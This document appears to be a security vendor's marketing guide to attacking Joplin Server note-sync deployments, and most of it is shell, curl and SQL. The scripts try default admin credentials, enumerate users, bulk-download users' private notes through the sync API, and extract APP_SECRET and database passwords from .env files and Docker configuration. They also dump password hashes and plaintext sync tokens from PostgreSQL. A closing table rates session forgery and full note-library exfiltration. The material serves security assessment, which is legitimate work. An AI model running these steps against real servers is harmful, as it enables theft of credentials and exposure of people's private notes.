Joplin Server is a widely deployed self-hosted sync server for the Joplin open-source note-taking application — it synchronizes notes, notebooks, attachments, and note sharing across all devices. Key assessment areas: admin@localhost/admin are the documented default credentials; APP_SECRET signs session tokens; user API tokens (sync tokens) stored in the database enable full note library access via the sync protocol; PostgreSQL stores all note content; and publicly shared notes may be accessed via predictable hash URLs without authentication. Joplin Server compromise exposes the user's complete note library including potentially sensitive personal and professional content. This guide covers systematic Joplin Server security assessment.
# Joplin Server — default credentials and API token testing
JOPLIN_URL="https://joplin.example.com"
# Test documented default credentials
for CRED in "admin@localhost:admin" "admin@example.com:admin"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${JOPLIN_URL}/api/sessions" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('id','')
u = d.get('user',{})
if t:
print(f'OK session_id={t[:30]} user={u.get(\"email\")} is_admin={u.get(\"is_admin\")}')
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${TOKEN}"
done
# Joplin uses API tokens for sync (separate from session tokens)
# API token is the sync credential stored in Joplin client app settings
API_TOKEN="your-joplin-api-token"
curl -s "${JOPLIN_URL}/api/ping" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null
# Test admin API access
SESSION_ID="your-session-id"
curl -s "${JOPLIN_URL}/api/users" \
-H "X-API-Auth: ${SESSION_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('items',[])
print(f'Users: {d.get(\"total_count\",len(users))}')
for u in users[:10]:
print(f' {u.get(\"email\")} admin={u.get(\"is_admin\")} max_total_item_size={u.get(\"max_total_item_size\")}')
" 2>/dev/null
# Joplin Server sync API — note content enumeration
JOPLIN_URL="https://joplin.example.com"
API_TOKEN="your-joplin-sync-token"
# Joplin sync protocol: items are the core data unit
# Each item is a note, notebook, resource (attachment), or note link
# List all items (notes, notebooks, attachments)
curl -s "${JOPLIN_URL}/api/items/root/children" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
total = d.get('total',len(items))
print(f'Items: {total} total (first page: {len(items)})')
for item in items[:10]:
print(f' [{item.get(\"id\",\"\")[:8]}] {item.get(\"name\",\"\")} updated={item.get(\"updated_time\",\"\")[:10]}')
" 2>/dev/null
# Download a specific item's content (note body)
ITEM_NAME="2ee4aad24c114f4ab8e42e6f5b5c0b5a.md" # Note ID as filename
curl -s "${JOPLIN_URL}/api/items/root:/${ITEM_NAME}:/content" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | head -50
# Returns the raw note markdown content
# Enumerate all items by walking the tree
curl -s "${JOPLIN_URL}/api/items/root/delta" \
-H "Authorization: Bearer ${API_TOKEN}" \
--data-urlencode "cursor=" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
print(f'Delta items: {len(items)} cursor: {d.get(\"cursor\",\"\")[:20]}')
for item in items[:5]:
name = item.get('name','')
# .md files are notes, .json items are notebooks/resources
if name.endswith('.md'):
print(f' Note: {name}')
elif name.endswith('.json'):
print(f' Resource: {name}')
else:
print(f' Item: {name}')
" 2>/dev/null
# Access shared note via public share link
# Joplin allows sharing individual notes with a unique hash URL
# Format: /shares/{share_id}
curl -s "${JOPLIN_URL}/shares/{share-id}" 2>/dev/null | head -30
# Joplin Server APP_SECRET and database credential extraction
# .env file — Joplin Server configuration
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|DB_|MAILER|SIGNUP|BASE_URL"
# APP_SECRET — session/JWT signing key
# DB_CLIENT — knex database client (pg for PostgreSQL)
# DB_HOST, DB_PORT, DB_USER, DB_PASSWORD, DB_DATABASE
# MAILER_* — email configuration
# Docker environment variables
docker inspect joplin-server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_SECRET','DB_','MAILER','PASSWORD','SECRET']):
print(e)
" 2>/dev/null
# PostgreSQL — all Joplin Server data
DB_URL="postgresql://joplin:PASSWORD@localhost/joplin"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All users with API tokens
SELECT u.id, u.email, u.full_name,
u.is_admin, u.password,
u.email_confirmed, u.created_time,
u.max_total_item_size
FROM users u
ORDER BY u.is_admin DESC, u.created_time ASC
LIMIT 10;
EOF
-- User API tokens (sync tokens — the key credential)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.id, t.value as api_token,
t.type, t.created_time,
u.email as user_email
FROM api_clients t
JOIN users u ON t.user_id = u.id
ORDER BY t.created_time DESC
LIMIT 10;
EOF
-- value: the API/sync token — enables full note library sync access
-- All items (notes and resources)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT i.id, i.name, i.size,
i.created_time, i.updated_time,
u.email as owner
FROM items i
JOIN user_items ui ON ui.item_id = i.id
JOIN users u ON ui.user_id = u.id
WHERE i.name LIKE '%.md'
ORDER BY i.updated_time DESC
LIMIT 20;
EOF
-- name ends with .md for notes; content is stored in items.content column
| Security Test | Method | Risk |
|---|---|---|
| Default admin@localhost/admin credential access | POST /api/sessions with admin@localhost/admin — documented default; full admin API access to all users and their note libraries; enables sync token extraction for any user account | Critical |
| PostgreSQL api_clients sync token extraction | SELECT value FROM api_clients — plaintext sync tokens for all users; each token enables full note library read/write access equivalent to the connected Joplin client application | Critical |
| Sync API note content bulk download | GET /api/items/root/delta — enumerate all notes and resources via sync protocol; download individual note content via /api/items/root:/{id}.md:/content; complete note library exfiltration | High |
| APP_SECRET extraction and session token forgery | Read .env APP_SECRET — session signing key; forge valid session tokens for any user including admin; bypasses password authentication for full account access | High |
| Shared note URL enumeration | GET /shares/{hash} — public note share URLs are accessible without authentication; hash IDs from database allow direct access to shared content; content may include sensitive information the user shared externally | Medium |
Ironimo tests Joplin Server deployments for default admin@localhost/admin credential access, PostgreSQL api_clients sync token extraction for all users, sync API note content bulk download via delta protocol, APP_SECRET session token forgery, shared note URL enumeration, admin API user enumeration, signup endpoint open registration testing, Docker APP_SECRET/DB_PASSWORD plaintext exposure, bcrypt password hash extraction for offline cracking, and storage quota bypass assessment.
Start free scan